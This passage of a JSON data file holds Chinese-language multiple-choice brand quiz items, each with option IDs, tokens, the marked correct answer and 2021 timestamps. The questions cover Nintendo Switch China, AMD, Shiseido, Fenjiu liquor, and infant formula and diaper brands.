16:47:49","status":"1"},{"questionId":"6101434081","questionIndex":"5","questionStem":"以下哪个商品属于国行Nintendo Switch?","options":"[{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJaUPvLEtooMa3YQ\",\"optionDesc\":\"Xbox 天蝎座\"},{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJaBThbZKjuEu-VA\",\"optionDesc\":\"PS4 Slim\"},{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJatidHjHPJK2npQ\",\"optionDesc\":\"Pro手柄\"}]","questionToken":"LcUSx0BQiz4q-W0B_ioSP9Wi-SNVQIlxbBA8Y3lE9qqw3J7phnD5Vs46P3ovXkhon5sjprxgP8oJSBRHDGyAl6SxQG39ZQ","correct":"{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJatidHjHPJK2npQ\",\"optionDesc\":\"Pro手柄\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434082","questionIndex":"1","questionStem":"国行Nintendo Switch的主机标志配色为?","options":"[{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaBVrAiVGcqOnxZGYfA\",\"optionDesc\":\"蓝黄手柄+主机\"},{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaq6-Jw2LLCV6AWQ0LQ\",\"optionDesc\":\"红蓝手柄+主机\"},{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaepQmyVYOJEBgLMhYQ\",\"optionDesc\":\"灰色手柄+主机\"}]","questionToken":"LcUSx0BQiz4q-m0F_ioSPzlOloncL9FdHktnhHAWkaWe8oNU0kl-ZAxlHUjz0cB59QG65tSV_BDsPWNE65VWAIRj-feAvg","correct":"{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaq6-Jw2LLCV6AWQ0LQ\",\"optionDesc\":\"红蓝手柄+主机\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6101434083","questionIndex":"4","questionStem":"以下哪个不属于国行Nintendo Switch业务?","options":"[{\"optionId\":\"LcUSx0BQiz4q-21X7WIJarKSl9DG-XQJyVM\",\"optionDesc\":\"鼠标键盘\"},{\"optionId\":\"LcUSx0BQiz4q-21X7WIJaITH6FX9tujstXg\",\"optionDesc\":\"游戏主机\"},{\"optionId\":\"LcUSx0BQiz4q-21X7WIJaXjH7bIt_emYlKA\",\"optionDesc\":\"游戏周边\"}]","questionToken":"LcUSx0BQiz4q-20A_ioSOLcp2WzKJZ8beorNFxvt8OVDK9js0kK7hTnDaatV-ok7pqWlEQsQYS_v8IQT0WZo7ser2PzywQ","correct":"{\"optionId\":\"LcUSx0BQiz4q-21X7WIJarKSl9DG-XQJyVM\",\"optionDesc\":\"鼠标键盘\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6101434084","questionIndex":"1","questionStem":"以下哪个国行Nintendo Switch配件最受欢迎","options":"[{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJatvQo56guDN5QAfe\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJaQ49j0nugvg2W473\",\"optionDesc\":\"Joy-Con腕带\"},{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJaK2qy5Ebhb-P4DyX\",\"optionDesc\":\"Joy-Con充电握把\"}]","questionToken":"LcUSx0BQiz4q_G0F_ioSOA4Q1-4zt_11QSY7PJoAs0XrSz5Zului7FxkHfHFwEOMa0O-A3CRFcmuwZP2NOI3mM7n6Ol8HQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJatvQo56guDN5QAfe\",\"optionDesc\":\"Pro手柄\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6101434085","questionIndex":"5","questionStem":"美素佳儿奶源地是哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaGB9UEW9bn2XpdzK\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaq-1v9SPN3SKtL_G\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaR8LciL_Wn3HTmce\",\"optionDesc\":\"中国\"}]","questionToken":"LcUSx0BQiz4q_W0B_ioSOPMmeNJmEM8a5byDi48Rv6id_obQnOtSvDrsXizoYe7L5CDxc1Po9K9LKEFQjF5MPNTt_qqysQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaq-1v9SPN3SKtL_G\",\"optionDesc\":\"荷兰\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6101434087","questionIndex":"4","questionStem":"1-3岁的幼儿适合喝几段奶粉?","options":"[{\"optionId\":\"LcUSx0BQiz4q_21X7WIJaELU9iP-hb3v1Os\",\"optionDesc\":\"4段\"},{\"optionId\":\"LcUSx0BQiz4q_21X7WIJahTF6FA5xE0pk-E\",\"optionDesc\":\"3段\"},{\"optionId\":\"LcUSx0BQiz4q_21X7WIJaQPw9RMYFMXFT58\",\"optionDesc\":\"2段\"}]","questionToken":"LcUSx0BQiz4q_20A_ioSOH0HE_8HTRsbitZO9MfFfXINZq_5kVcxzxMBVGg_5T8G-qV35bcGRsJAwiYlJW6jiBUaHxwbQQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_21X7WIJahTF6FA5xE0pk-E\",\"optionDesc\":\"3段\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"6101434088","questionIndex":"5","questionStem":"皇家美素佳儿1-3段奶粉特点是?","options":"[{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJaRqxm_-t7xtMkWYT\",\"optionDesc\":\"20倍乳铁蛋白\"},{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJalbLEiCRQJe-yDeU\",\"optionDesc\":\"30倍乳铁蛋白\"},{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJaOcfbftR5FLikTl9\",\"optionDesc\":\"50倍乳铁蛋白\"}]","questionToken":"LcUSx0BQiz4q8G0B_ioSOL6KtJkW2rvnLCfM_yUs221aprNpMfzgM0WqSP5QGmE6YyI5UYkWCaZgAwVP1kC5OQM6i7ndtg","correct":"{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJalbLEiCRQJe-yDeU\",\"optionDesc\":\"30倍乳铁蛋白\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434089","questionIndex":"1","questionStem":"美素佳儿一共有几款消消乐礼盒?","options":"[{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaHOEMR5jTJltNwoD\",\"optionDesc\":\"6款\"},{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaoUL-Qzh7tPcLTIj\",\"optionDesc\":\"5款\"},{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJac-CEppJ4BxolJMR\",\"optionDesc\":\"4款\"}]","questionToken":"LcUSx0BQiz4q8W0F_ioSP7IM6VWs3Bjh7uP_Niy2yh_J7CSJTWHFJ6kpcuf2m4u083AMGW4olXGiKzNBuWGGt7fS0ot92w","correct":"{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaoUL-Qzh7tPcLTIj\",\"optionDesc\":\"5款\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434090","questionIndex":"2","questionStem":"AMD是哪一年在硅谷创立的?","options":"[{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaNYOheHPPASV1lI\",\"optionDesc\":\"1989\"},{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaqpO-8sWa9RX_KU\",\"optionDesc\":\"1969\\t\\t\"},{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaS4G1g-5gZZmXxY\",\"optionDesc\":\"1979\"}]","questionToken":"LcUSx0BQiz4r-G0G_ioSOC-x-ViGbzS3JnjtfGdxSLJEAxWCP4MzfTIMypb4HOCHg7cbPMZwrDEmKVPmoMYH-wAwsufmFw","correct":"{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaqpO-8sWa9RX_KU\",\"optionDesc\":\"1969\\t\\t\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434091","questionIndex":"5","questionStem":"AMD的总裁兼首席执行官是谁?","options":"[{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaSDHi0JnBx1GoqhQ\",\"optionDesc\":\"乔伯斯\"},{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaKvnEiSNH2l-HOUF\",\"optionDesc\":\"岳琪\"},{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaqcCeDED-49LwHz5\",\"optionDesc\":\"苏姿丰\"}]","questionToken":"LcUSx0BQiz4r-W0B_ioSOKVOFue-8FVG-U840FR3jF8u2NiGT6z5Xd1ZjMoPsQgCpg7Uk5vYpDYmQCll-Dp-7Twrv6Fncw","correct":"{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaqcCeDED-49LwHz5\",\"optionDesc\":\"苏姿丰\"}","create_time":"2/2/2021 16:48:10","update_time":"2/2/2021 16:48:10","status":"1"},{"questionId":"6101434092","questionIndex":"5","questionStem":"AMD中国区总部在那个城市?","options":"[{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJabAzggI8igATbQNG\",\"optionDesc\":\"成都\"},{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJaDoqmQK9Oo-46mx6\",\"optionDesc\":\"深圳\"},{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJagkG5ZeDEkuO2PaQ\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4r-m0B_ioSONqLcM51mqrDa2_4lvY36hs1VMGl7zlfCmWbpfxNCYuTQna2IEBmf86-Ml7iMBu3Q51vzYH2pQ","correct":"{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJagkG5ZeDEkuO2PaQ\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:47:37","update_time":"2/2/2021 16:47:37","status":"1"},{"questionId":"6101434093","questionIndex":"5","questionStem":"AMD的中文名字是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4r-21X7WIJaKFv91xvOxlOPufHXg\",\"optionDesc\":\"超越\"},{\"optionId\":\"LcUSx0BQiz4r-21X7WIJadPNfkIBjn20fU2Ozg\",\"optionDesc\":\"超能\"},{\"optionId\":\"LcUSx0BQiz4r-21X7WIJathuhs1rzWIifzGrxA\",\"optionDesc\":\"超威\"}]","questionToken":"LcUSx0BQiz4r-20B_ioSP5mrWae5QZ_1M11kGsD6yifJYYmx3nz6EjuAwAyz_qxEs4eu7f5lCsX_oOX-ITNOMsEvLtxnXA","correct":"{\"optionId\":\"LcUSx0BQiz4r-21X7WIJathuhs1rzWIifzGrxA\",\"optionDesc\":\"超威\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6101434094","questionIndex":"3","questionStem":"AMD最新锐龙处理器采用几纳米的制程工艺?","options":"[{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJafKqKwPnogeGZMA\",\"optionDesc\":\"12nm\"},{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJaFzUuoFXD2-Q0sc\",\"optionDesc\":\"14nm\"},{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJasaVzd0lzu2LlcY\",\"optionDesc\":\"7nm\"}]","questionToken":"LcUSx0BQiz4r_G0H_ioSOLIF0q2I96eVwvku6o9nnlB7XXCQ3RE6qGNy9SN1BilLsXjfepLEjAFREIOeCXay7zXbWNIQIw","correct":"{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJasaVzd0lzu2LlcY\",\"optionDesc\":\"7nm\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434095","questionIndex":"5","questionStem":"大王goo.n纸尿裤是哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJaHjkm9QPVNRJnLw\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJaV5tKF9UNzBRr6w\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJakr87w9hz1CxVvQ\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_W0B_ioSP008ojS1akqcjSm9uRIXDMaaK_Ptt3kohouwZ2hxBfpO3tX12_6Amq5Gnxv7g1LYqrMknyFM3w","correct":"{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJakr87w9hz1CxVvQ\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6101434096","questionIndex":"1","questionStem":"大王goo.n的中国工厂位于哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJab6RbeeaBXRJ8iPj3A\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJaE8hZyJ4v42yrHFH6A\",\"optionDesc\":\"苏州\"},{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJauNlAixMNK1Qbny8gg\",\"optionDesc\":\"南通\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_m0F_ioSP4gadeBOjrcTvp-B71bWFCVhlDMqEvYO8RxLzgySroQKvwRGF7J9xyoqDWioE4McX1rQLeboeA","correct":"{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJauNlAixMNK1Qbny8gg\",\"optionDesc\":\"南通\\t\\t\"}","create_time":"2/2/2021 16:49:02","update_time":"2/2/2021 16:49:02","status":"1"},{"questionId":"6101434097","questionIndex":"3","questionStem":"以下哪个系列的产品不是大王的?","options":"[{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaJn3ng3OKedvBd8\",\"optionDesc\":\"光羽系列\"},{\"optionId\":\"LcUSx0BQiz4r_21X7WIJab-tGxw4PbmQ3Ss\",\"optionDesc\":\"天使系列\"},{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaoz04RcPZfBWlNU\",\"optionDesc\":\"皇家系列\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_20H_ioSOAO2lY9aIbvakh4UQbMiU4uskoUY3wcdqrs4x9WF6RJ6PUKlvgUHK-8mC6gpYFUKYntkptrAZw","correct":"{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaoz04RcPZfBWlNU\",\"optionDesc\":\"皇家系列\\t\\t\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6101434098","questionIndex":"1","questionStem":"大王goo.n最高端的是哪个系列?","options":"[{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJaVV6pnmaYwRmF8VA\",\"optionDesc\":\"天使系列\"},{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJaB7467BxrEYO2RCY\",\"optionDesc\":\"花信风系列\"},{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJakfbOsqtFLSv6qA9\",\"optionDesc\":\"鎏金系列\"}]","questionToken":"LcUSx0BQiz4r8G0F_ioSP2hqdv1Caik0UE9vYgY-P7nGYU2kPMcDcjzgxSqZohS2_CSsIj1vB1oOs3qnqnInUmNtPUKxTg","correct":"{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJakfbOsqtFLSv6qA9\",\"optionDesc\":\"鎏金系列\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434099","questionIndex":"2","questionStem":"以下哪个不属于大王goo.n业务的?","options":"[{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJajhiXKRHeZv0OA4D\",\"optionDesc\":\"婴儿喂养\\t\\t\"},{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJafgnE0u49q_SOvAP\",\"optionDesc\":\"清洁纸品\"},{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJaHQShg37boM60nts\",\"optionDesc\":\"婴儿纸尿裤\"}]","questionToken":"LcUSx0BQiz4r8W0G_ioSODgqq6sE_hxrTbAILVafb2I4t6BUCTzArcf4SEwtU9ui8KiD9wYedrXSE39xe4vIzI03d-4n9w","correct":"{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJajhiXKRHeZv0OA4D\",\"optionDesc\":\"婴儿喂养\\t\\t\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6101434100","questionIndex":"3","questionStem":"资生堂是哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3j5XBjARyDuE6lITS\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jM8QGNe1FzF9YWiI\",\"optionDesc\":\"日本\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jvns_mgLwbuABWT4\",\"optionDesc\":\"中国\"}]","questionToken":"LcUSx0BQiz_lr4hziDRs2QvOpCT-WRgiIJ2h2CjjRxyPlSC0ZMq6rwWp_o1mA6odT6YUAvcmpGNjt7CeYeN0VRX9H6e5zw","correct":"{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jM8QGNe1FzF9YWiI\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434101","questionIndex":"5","questionStem":"哪个品牌不属于资生堂?","options":"[{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jrj4_xuO_c4GKDYq\",\"optionDesc\":\"可悠然\"},{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jKL4j1S5py3jg6N6\",\"optionDesc\":\"飘柔\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrogjm3x3j9qOMsX31clvP8Bg\",\"optionDesc\":\"惠润\"}]","questionToken":"LcUSx0BQiz_lroh1iDRs3nfjf8BeE4L55LXGLemKuESlA7tMUigHGv3JCVyDLv05e-lFq3Ck7I7pijtCugjM-pD9TMMu5Q","correct":"{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jKL4j1S5py3jg6N6\",\"optionDesc\":\"飘柔\\t\\t\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434102","questionIndex":"5","questionStem":"以下哪个不属于资生堂业务的?","options":"[{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3jE3BQ5qAmbvRKw\",\"optionDesc\":\"营养健康\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3joJ7C41JhM4SrQ\",\"optionDesc\":\"身体护理\"},{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3j8pMbUYUUyBBCQ\",\"optionDesc\":\"洗发护发\"}]","questionToken":"LcUSx0BQiz_lrYh1iDRs2aORAraE4I0wG7Agp5bta06RZGChsLuOn57zjauIjF9jY3Bz31GCwPFeHV5pNacXA1utKjxA8A","correct":"{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3jE3BQ5qAmbvRKw\",\"optionDesc\":\"营养健康\\t\\t\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6101434103","questionIndex":"2","questionStem":"资生堂最畅销的品牌是哪个?","options":"[{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jLF-mgPXUq_mqQ\",\"optionDesc\":\"惠润\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jkerVinPekGpaQ\",\"optionDesc\":\"丝蓓绮\"},{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jwg1XRoH_NAvBQ\",\"optionDesc\":\"珊珂\"}]","questionToken":"LcUSx0BQiz_lrIhyiDRs2U8H4lidAdw71RZuwHUT1L3UXAmQ-UJn_h86LbNx3Cb1QzXNC_Or36UgQnQNWYLPa9J7mkmLQQ","correct":"{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jLF-mgPXUq_mqQ\",\"optionDesc\":\"惠润\\t\\t\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434104","questionIndex":"1","questionStem":"资生堂标志的颜色是哪个?","options":"[{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jl7WgZZJU_ci4_oLNA\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3j7MKimWKRCTMHFV8pw\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jPhAi3-tntYqWrh8-g\",\"optionDesc\":\"红色\\t\\t\"}]","questionToken":"LcUSx0BQiz_lq4hxiDRs2Wh5q2ICkOCaRdLPd8_eD3YsUGmPCgrLJ1JKq47sEf9KiNIVhClYf2QRxTxxoqJijGRc0-3TpA","correct":"{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jPhAi3-tntYqWrh8-g\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"2/2/2021 16:48:25","update_time":"2/2/2021 16:48:25","status":"1"},{"questionId":"6101434105","questionIndex":"3","questionStem":"汾酒产自哪里?","options":"[{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jjS0CA89gtvCRMb2pA\",\"optionDesc\":\"贵州\"},{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jIVYBrL06GJKkzqUpg\",\"optionDesc\":\"山西\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lqogjm3x3j5UpwgzI7apxnNsv5w\",\"optionDesc\":\"陕西\"}]","questionToken":"LcUSx0BQiz_lqohziDRs3tAVmVqhywqF0E-ZYQv64HMfB5wGhOTPfP0oHPybRAWFSs6P7tPnfZS9_gig-WuuPfnzTBmnyg","correct":"{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jIVYBrL06GJKkzqUpg\",\"optionDesc\":\"山西\\t\\t\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"6101434106","questionIndex":"4","questionStem":"汾酒是属于什么香型的白酒?","options":"[{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3j28o6tyeeBJGvDHT\",\"optionDesc\":\"酱香型\"},{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jsjHuTDuhdwugx2k\",\"optionDesc\":\"浓香型\"},{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jKW7AWJ2MMeO75vS\",\"optionDesc\":\"清香型\\t\\t\"}]","questionToken":"LcUSx0BQiz_lqYh0iDRs2YGMBfvK7JgheIToCvGeE_kTDDrFwnKiy_67Gqhx7k5O39py8MT4g6sIaWYkyhLOiyf4raCcvQ","correct":"{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jKW7AWJ2MMeO75vS\",\"optionDesc\":\"清香型\\t\\t\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434107","questionIndex":"2","questionStem":"汾酒最畅销的是哪款?","options":"[{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3j0zufdm86SmeWvH-\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jruLfUtH1_So3Qms\",\"optionDesc\":\"封坛\"},{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jOHVG0niIktL9d7h\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}]","questionToken":"LcUSx0BQiz_lqIhyiDRs3oqGt_jiFXDrm9ZcsSZ994sd8eMvSGSWfoKoCbhVMD0i9pk2TJn5dh2rfdA2MN5i7tXDgV2IDg","correct":"{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jOHVG0niIktL9d7h\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434108","questionIndex":"1","questionStem":"汾酒最具代表的是哪款?","options":"[{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jkeniHl6n2GNXEYQTg\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3j15kcr299Ih06TPakw\",\"optionDesc\":\"黄盖玻汾\"},{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jCGboLewzvQg--kwKQ\",\"optionDesc\":\"青花30\\t\\t\"}]","questionToken":"LcUSx0BQiz_lp4hxiDRs2QKo1CFwOxua9ldj6uJ7okewUE1yMiUC3uDdqP-rTNX4bihIM0Y8fN8Fb4-ralpIVlsMpX4zkg","correct":"{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jCGboLewzvQg--kwKQ\",\"optionDesc\":\"青花30\\t\\t\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434109","questionIndex":"1","questionStem":"如何辨别汾酒的真伪?","options":"[{\"optionId\":\"LcUSx0BQiz_lpogjm3x3j0aKkHIBD22RrMWo\",\"optionDesc\":\"尝试酒劲大小\"},{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jkqmCDstMrx0g5f7\",\"optionDesc\":\"闻酒香浓度\"},{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jIkf6TUI1XvfaHgW\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}]","questionToken":"LcUSx0BQiz_lpohxiDRs3s3EE4dn1iRP2KpzexDW3t2Gh7Q8_lTi12OioPBWub3EyTyyhCkEQCVmAOKc_qwzTL9L4skm5g","correct":"{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jIkf6TUI1XvfaHgW\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6101434110","questionIndex":"3","questionStem":"合生元品牌历史有多久?","options":"[{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3j5rJegueCNgax9w6Dw\",\"optionDesc\":\"5年\"},{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jBd-poNH6tpweYDIbg\",\"optionDesc\":\"20年以上\"},{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jnqMbLUiCbFgYZRm1Q\",\"optionDesc\":\"10年\"}]","questionToken":"LcUSx0BQiz_kr4hziDRs3riTBCuoHfyY759BcAcF4zbV7y4C8NXZzU09CcndbpZ3HsA7yxZJN79lSIBJfo3uirKa2rGj3g","correct":"{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jBd-poNH6tpweYDIbg\",\"optionDesc\":\"20年以上\"}","create_time":"2/2/2021 16:48:14","update_time":"2/2/2021 16:48:14","status":"1"},{"questionId":"6101434111","questionIndex":"1","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"LcUSx0BQiz_krogjm3x3jGlaozyQvmRy0zFa\",\"optionDesc\":\"妈咪爱\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_krogjm3x3jmxNBhv5Gw5o_4dV\",\"optionDesc\":\"Dodie\"},{\"optionId\":\"LcUSx0BQiz_krogjm3x3j3SqAuHmeJ264Zip\",\"optionDesc\":\"Swisse\"}]","questionToken":"LcUSx0BQiz_krohxiDRs2U1uxMdbdHuv6ppqffQiX-_AwLA2Dp5qH4FE0ANsl8M63-b30OIT4MFyjjJGlyKCPuE7RpAAaw","correct":"{\"optionId\":\"LcUSx0BQiz_krogjm3x3jGlaozyQvmRy0zFa\",\"optionDesc\":\"妈咪爱\\t\\t\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434112","questionIndex":"5","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"LcUSx0BQiz_krYgjm3x3ju_0tjbnSBdJPs9cYQ\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"LcUSx0BQiz_krYgjm3x3jMbnlWEkDpkxPxRAyQ\",\"optionDesc\":\"成人奶粉\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_krYgjm3x3j8zK0isTdmOtJbMvUA\",\"optionDesc\":\"婴幼儿奶粉\"}]","questionToken":"LcUSx0BQiz_krYh1iDRs2Wijpm1C1XCNBbHAF3T-aFetjHcx085QwCsMRPaWFJYWdNvvV3PuB9Hn3ekaPwh6ae_ki6eBuw","correct":"{\"optionId\":\"LcUSx0BQiz_krYgjm3x3jMbnlWEkDpkxPxRAyQ\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434113","questionIndex":"3","questionStem":"以下哪个品类奶粉合生元没有涉猎?","options":"[{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jwp-wed64BE3q9RK\",\"optionDesc\":\"羊奶粉\"},{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jkYiQoqyitF9BYWO\",\"optionDesc\":\"有机奶粉\"},{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jCTIE5oQ56zxT7it\",\"optionDesc\":\"特配奶粉\\t\\t\"}]","questionToken":"LcUSx0BQiz_krIhziDRs3qO_UOJi-c8jIpVDBbldGX7LAYnLwmdmQPZVfEnR0jv-94dioetoNnv5XvZL8qe7RDS9kAumVQ","correct":"{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jCTIE5oQ56zxT7it\",\"optionDesc\":\"特配奶粉\\t\\t\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 